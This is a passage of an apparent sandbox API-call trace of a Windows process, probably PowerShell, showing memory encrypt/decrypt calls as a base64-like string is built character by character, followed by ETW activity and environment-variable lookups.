SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.644] SysStringLen (param_1="4HYp2XTjwUINlbI8LuBAVK/FPᾉ뢩眄隗趵襻") returned 0x20 [0131.644] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.644] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x6336\xfe1e\x236a\xb59d\xfc58\xc1c0\x9f36\x5124") returned 0x20 [0131.644] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x6336\xfe1e\x236a\xb59d\xfc58\xc1c0\x9f36\x5124") returned 0x20 [0131.644] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.644] SysStringLen (param_1="4HYp2XTjwUINlbI8LuBAVK/FPV뢩眄隗趵襻") returned 0x20 [0131.644] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.644] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x984\x79ec\xd0b3\xad82\xcc1\x68d2\x388\xd9b9") returned 0x20 [0131.644] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x984\x79ec\xd0b3\xad82\xcc1\x68d2\x388\xd9b9") returned 0x20 [0131.644] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.644] SysStringLen (param_1="4HYp2XTjwUINlbI8LuBAVK/FPVl眄隗趵襻") returned 0x20 [0131.644] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.644] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\xc4af\x80f0\xb415\xaef0\xafd7\x7a91\xad6b\x1aa") returned 0x20 [0131.644] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\xc4af\x80f0\xb415\xaef0\xafd7\x7a91\xad6b\x1aa") returned 0x20 [0131.644] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.645] SysStringLen (param_1="4HYp2XTjwUINlbI8LuBAVK/FPVlD隗趵襻") returned 0x20 [0131.645] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.645] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\xbb5e\xcda\x79fe\xb51e\xbd78\x81ca\x854e\xe287") returned 0x20 [0131.645] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\xbb5e\xcda\x79fe\xb51e\xbd78\x81ca\x854e\xe287") returned 0x20 [0131.645] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.645] SysStringLen (param_1="4HYp2XTjwUINlbI8LuBAVK/FPVlDt趵襻") returned 0x20 [0131.645] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.645] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x17c7\x2703\x38b9\x42f6\x87e\xa7c9\x639b\x981b") returned 0x20 [0131.645] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x17c7\x2703\x38b9\x42f6\x87e\xa7c9\x639b\x981b") returned 0x20 [0131.645] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.645] SysStringLen (param_1="4HYp2XTjwUINlbI8LuBAVK/FPVlDtR襻") returned 0x20 [0131.645] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.645] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x8126\xdb5b\x99ca\x9f24\xc60\x7fe7\xece\x6ef4") returned 0x20 [0131.645] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x8126\xdb5b\x99ca\x9f24\xc60\x7fe7\xece\x6ef4") returned 0x20 [0131.645] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.646] SysStringLen (param_1="4HYp2XTjwUINlbI8LuBAVK/FPVlDtRU") returned 0x20 [0131.646] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.646] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\xb3f0\x49dc\x9ac6\x4a87\x674b\xc125\x5f35\x2005") returned 0x20 [0131.646] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\xb3f0\x49dc\x9ac6\x4a87\x674b\xc125\x5f35\x2005") returned 0x20 [0131.646] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.647] SysStringLen (param_1="4HYp2XTjwUINlbI8LuBAVK/FPVlDtRUj") returned 0x20 [0131.647] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.647] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x2a3b\x2ac0\x8d26\x4c19\x28a2\x54a2\x208\xacb") returned 0x20 [0131.647] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x2a3b\x2ac0\x8d26\x4c19\x28a2\x54a2\x208\xacb") returned 0x20 [0131.647] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x2a3b\x2ac0\x8d26\x4c19\x28a2\x54a2\x208\xacb") returned 0x20 [0131.647] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x2a3b\x2ac0\x8d26\x4c19\x28a2\x54a2\x208\xacb\x5a\x69\x72\x59\x74\x30\x58\x74") returned 0x28 [0131.647] SystemFunction041 (in: Memory=0x4383a54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383a54) returned 0x0 [0131.647] SysStringLen (param_1="4HYp2XTjwUINlbI8LuBAVK/FPVlDtRUj2ー䒑냵ꐵⵠ਀魰") returned 0x28 [0131.647] SystemFunction040 (in: Memory=0x4383a54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383a54) returned 0x0 [0131.648] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x2a3b\x2ac0\x8d26\x4c19\x28a2\x54a2\x208\xacb\xc171\xc760\xf1f1\x5074\x3cde\xbbe4\xf8f3\xa97b") returned 0x28 [0131.648] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x2a3b\x2ac0\x8d26\x4c19\x28a2\x54a2\x208\xacb\xc171\xc760\xf1f1\x5074\x3cde\xbbe4\xf8f3\xa97b") returned 0x28 [0131.648] SystemFunction041 (in: Memory=0x4383a54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383a54) returned 0x0 [0131.648] SysStringLen (param_1="4HYp2XTjwUINlbI8LuBAVK/FPVlDtRUj2u䒑냵ꐵⵠ਀魰") returned 0x28 [0131.648] SystemFunction040 (in: Memory=0x4383a54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383a54) returned 0x0 [0131.648] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x2a3b\x2ac0\x8d26\x4c19\x28a2\x54a2\x208\xacb\xdfb5\xd2a6\xcee7\xbc61\x331a\x6a88\x89b7\x6b86") returned 0x28 [0131.648] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x2a3b\x2ac0\x8d26\x4c19\x28a2\x54a2\x208\xacb\xdfb5\xd2a6\xcee7\xbc61\x331a\x6a88\x89b7\x6b86") returned 0x28 [0131.648] SystemFunction041 (in: Memory=0x4383a54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383a54) returned 0x0 [0131.648] SysStringLen (param_1="4HYp2XTjwUINlbI8LuBAVK/FPVlDtRUj2uw냵ꐵⵠ਀魰") returned 0x28 [0131.648] SystemFunction040 (in: Memory=0x4383a54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383a54) returned 0x0 [0131.648] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x2a3b\x2ac0\x8d26\x4c19\x28a2\x54a2\x208\xacb\x9957\xb24a\xc5f3\xc767\xc8a5\x148f\x5965\x44c0") returned 0x28 [0131.648] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x2a3b\x2ac0\x8d26\x4c19\x28a2\x54a2\x208\xacb\x9957\xb24a\xc5f3\xc767\xc8a5\x148f\x5965\x44c0") returned 0x28 [0131.648] SystemFunction041 (in: Memory=0x4383a54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383a54) returned 0x0 [0131.648] SysStringLen (param_1="4HYp2XTjwUINlbI8LuBAVK/FPVlDtRUj2uwEꐵⵠ਀魰") returned 0x28 [0131.648] SystemFunction040 (in: Memory=0x4383a54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383a54) returned 0x0 [0131.649] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x2a3b\x2ac0\x8d26\x4c19\x28a2\x54a2\x208\xacb\xfb48\x5afa\xcb30\x935a\x903f\x78d3\x874c\x2bc4") returned 0x28 [0131.649] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x2a3b\x2ac0\x8d26\x4c19\x28a2\x54a2\x208\xacb\xfb48\x5afa\xcb30\x935a\x903f\x78d3\x874c\x2bc4") returned 0x28 [0131.649] SystemFunction041 (in: Memory=0x4383a54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383a54) returned 0x0 [0131.649] SysStringLen (param_1="4HYp2XTjwUINlbI8LuBAVK/FPVlDtRUj2uwEcⵠ਀魰") returned 0x28 [0131.649] SystemFunction040 (in: Memory=0x4383a54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383a54) returned 0x0 [0131.649] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x2a3b\x2ac0\x8d26\x4c19\x28a2\x54a2\x208\xacb\xe62\x14b\x97e3\xf060\x7d4\x2ec0\xd7e9\xe293") returned 0x28 [0131.649] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x2a3b\x2ac0\x8d26\x4c19\x28a2\x54a2\x208\xacb\xe62\x14b\x97e3\xf060\x7d4\x2ec0\xd7e9\xe293") returned 0x28 [0131.649] SystemFunction041 (in: Memory=0x4383a54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383a54) returned 0x0 [0131.649] SysStringLen (param_1="4HYp2XTjwUINlbI8LuBAVK/FPVlDtRUj2uwEc+਀魰") returned 0x28 [0131.649] SystemFunction040 (in: Memory=0x4383a54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383a54) returned 0x0 [0131.649] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x2a3b\x2ac0\x8d26\x4c19\x28a2\x54a2\x208\xacb\x1c0b\xb2ba\x6165\xacde\xb9e9\xb9d3\x5dfc\xde66") returned 0x28 [0131.649] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x2a3b\x2ac0\x8d26\x4c19\x28a2\x54a2\x208\xacb\x1c0b\xb2ba\x6165\xacde\xb9e9\xb9d3\x5dfc\xde66") returned 0x28 [0131.649] SystemFunction041 (in: Memory=0x4383a54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383a54) returned 0x0 [0131.649] SysStringLen (param_1="4HYp2XTjwUINlbI8LuBAVK/FPVlDtRUj2uwEc+Y魰") returned 0x28 [0131.649] SystemFunction040 (in: Memory=0x4383a54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383a54) returned 0x0 [0131.649] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x2a3b\x2ac0\x8d26\x4c19\x28a2\x54a2\x208\xacb\xefd2\x9b62\xeac8\xd7fb\xf810\xcf1\xd2c8\xf2d1") returned 0x28 [0131.649] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x2a3b\x2ac0\x8d26\x4c19\x28a2\x54a2\x208\xacb\xefd2\x9b62\xeac8\xd7fb\xf810\xcf1\xd2c8\xf2d1") returned 0x28 [0131.649] SystemFunction041 (in: Memory=0x4383a54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383a54) returned 0x0 [0131.650] SysStringLen (param_1="4HYp2XTjwUINlbI8LuBAVK/FPVlDtRUj2uwEc+Y+") returned 0x28 [0131.650] SystemFunction040 (in: Memory=0x4383a54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383a54) returned 0x0 [0131.650] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x2a3b\x2ac0\x8d26\x4c19\x28a2\x54a2\x208\xacb\x7b96\x8bd5\xb13\x8755\xe141\xd0a7\x9912\x6af7") returned 0x28 [0131.650] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x2a3b\x2ac0\x8d26\x4c19\x28a2\x54a2\x208\xacb\x7b96\x8bd5\xb13\x8755\xe141\xd0a7\x9912\x6af7") returned 0x28 [0131.650] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x2a3b\x2ac0\x8d26\x4c19\x28a2\x54a2\x208\xacb\x7b96\x8bd5\xb13\x8755\xe141\xd0a7\x9912\x6af7") returned 0x28 [0131.650] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x2a3b\x2ac0\x8d26\x4c19\x28a2\x54a2\x208\xacb\x7b96\x8bd5\xb13\x8755\xe141\xd0a7\x9912\x6af7\x4a\x2e\x6d\x70\x33\x2e\x6c\x6f") returned 0x30 [0131.650] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0131.650] SysStringLen (param_1="4HYp2XTjwUINlbI8LuBAVK/FPVlDtRUj2uwEc+Y+8섒톄劻䐿ઙ➃䐍") returned 0x30 [0131.650] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0131.650] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x2a3b\x2ac0\x8d26\x4c19\x28a2\x54a2\x208\xacb\x7b96\x8bd5\xb13\x8755\xe141\xd0a7\x9912\x6af7\xb3fb\x1728\x5b16\xaa73\xf238\x80cd\x10cd\x747e") returned 0x30 [0131.650] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x2a3b\x2ac0\x8d26\x4c19\x28a2\x54a2\x208\xacb\x7b96\x8bd5\xb13\x8755\xe141\xd0a7\x9912\x6af7\xb3fb\x1728\x5b16\xaa73\xf238\x80cd\x10cd\x747e") returned 0x30 [0131.650] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0131.650] SysStringLen (param_1="4HYp2XTjwUINlbI8LuBAVK/FPVlDtRUj2uwEc+Y+82톄劻䐿ઙ➃䐍") returned 0x30 [0131.650] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0131.650] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x2a3b\x2ac0\x8d26\x4c19\x28a2\x54a2\x208\xacb\x7b96\x8bd5\xb13\x8755\xe141\xd0a7\x9912\x6af7\x407\x3b66\x939a\x1847\x3c8a\x2e3a\x2b88\xf87e") returned 0x30 [0131.651] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x2a3b\x2ac0\x8d26\x4c19\x28a2\x54a2\x208\xacb\x7b96\x8bd5\xb13\x8755\xe141\xd0a7\x9912\x6af7\x407\x3b66\x939a\x1847\x3c8a\x2e3a\x2b88\xf87e") returned 0x30 [0131.651] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0131.651] SysStringLen (param_1="4HYp2XTjwUINlbI8LuBAVK/FPVlDtRUj2uwEc+Y+82M劻䐿ઙ➃䐍") returned 0x30 [0131.651] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0131.651] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x2a3b\x2ac0\x8d26\x4c19\x28a2\x54a2\x208\xacb\x7b96\x8bd5\xb13\x8755\xe141\xd0a7\x9912\x6af7\x5020\xe8e9\x7577\xc83d\xa45\xbd85\x6412\x2fbf") returned 0x30 [0131.651] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284\x2a3b\x2ac0\x8d26\x4c19\x28a2\x54a2\x208\xacb\x7b96\x8bd5\xb13\x8755\xe141\xd0a7\x9912\x6af7\x5020\xe8e9\x7577\xc83d\xa45\xbd85\x6412\x2fbf") returned 0x30 [0131.651] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0131.651] SysStringLen (param_1="4HYp2XTjwUINlbI8LuBAVK/FPVlDtRUj2uwEc+Y+82M=䐿ઙ➃䐍") returned 0x30 [0131.651] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0131.651] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x34, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.651] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x34, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.651] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x33, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x33, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.652] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0131.653] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x35, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.653] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x33, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.653] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x35, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x35, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.653] SysStringLen (param_1="") returned 0x8 [0131.653] SysStringLen (param_1="Y") returned 0x8 [0131.653] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) 